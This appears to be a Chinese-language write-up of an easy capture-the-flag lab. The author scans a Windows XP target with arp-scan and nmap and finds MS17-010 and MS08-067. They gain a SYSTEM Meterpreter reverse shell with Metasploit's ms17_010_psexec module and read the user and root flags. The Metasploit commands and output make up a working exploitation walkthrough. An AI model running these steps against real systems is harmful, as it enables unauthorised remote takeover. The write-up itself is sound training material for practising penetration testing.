难度:easy
kali:192.168.56.104
靶机:192.168.56.198
> arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:05 (Unknown: locally administered)
192.168.56.100 08:00:27:77:db:85 PCS Systemtechnik GmbH
192.168.56.198 08:00:27:f8:3c:9d PCS Systemtechnik GmbH端口扫描
> nmap $IP -sS -sV -T4 -p- -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-16 22:54 CST
Nmap scan report for 192.168.56.198
Host is up (0.00032s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
MAC Address: 08:00:27:F8:3C:9D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003
Network Distance: 1 hop
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
|_clock-skew: mean: 19h30m10s, deviation: 4h56m59s, median: 16h00m10s
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: experience
| NetBIOS computer name: EXPERIENCE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2024-07-16T23:55:13-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: EXPERIENCE, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:f8:3c:9d (Oracle VirtualBox virtual NIC)
TRACEROUTE
HOP RTT ADDRESS
1 0.32 ms 192.168.56.198
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.38 seconds只有SMB服务，好老的版本，还是个xp，看着就感觉像像永恒之蓝,搜一下漏洞。
漏洞扫描
nmap --script vuln -p445 $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-16 23:06 CST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.56.198
Host is up (0.00028s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 08:00:27:F8:3C:9D (Oracle VirtualBox virtual NIC)
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-cve2009-3103:
| VULNERABLE:
| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
| State: VULNERABLE
| IDs: CVE:CVE-2009-3103
| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
| aka "SMBv2 Negotiation Vulnerability."
|
| Disclosure date: 2009-09-08
| References:
| http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false结果显示有ms17-010还有ms08-067
MS17-010
msf6 exploit(windows/smb/ms17_010_psexec) > set lport 4567
lport => 4567
msf6 exploit(windows/smb/ms17_010_psexec) > run
[*] Started reverse TCP handler on 192.168.56.104:4567
[*] 192.168.56.198:445 - Target OS: Windows 5.1
[*] 192.168.56.198:445 - Filling barrel with fish... done
[*] 192.168.56.198:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.56.198:445 - [*] Preparing dynamite...
[*] 192.168.56.198:445 - [*] Trying stick 1 (x86)...Boom!
[*] 192.168.56.198:445 - [+] Successfully Leaked Transaction!
[*] 192.168.56.198:445 - [+] Successfully caught Fish-in-a-barrel
[*] 192.168.56.198:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.56.198:445 - Reading from CONNECTION struct at: 0x863d0350
[*] 192.168.56.198:445 - Built a write-what-where primitive...
[+] 192.168.56.198:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.56.198:445 - Selecting native target
[*] 192.168.56.198:445 - Uploading payload... fMxsOTmN.exe
[*] 192.168.56.198:445 - Created \fMxsOTmN.exe...
[+] 192.168.56.198:445 - Service started successfully...
[*] Sending stage (176198 bytes) to 192.168.56.198
[*] 192.168.56.198:445 - Deleting \fMxsOTmN.exe...
[*] Meterpreter session 2 opened (192.168.56.104:4567 -> 192.168.56.198:1039) at 2024-07-16 23:21:27 +0800
meterpreter > 直接用ms17-010拿到shell
C:\Documents and Settings\bill\Desktop>type user.txt
type user.txt
f9e24c8da0686680decee9e594178a2e
C:\Documents and Settings\bill\Desktop>type root.txt
type root.txt
c1d5e7e4efece4a6022c4a4080c8114d 知道是这个玩意就不下载了。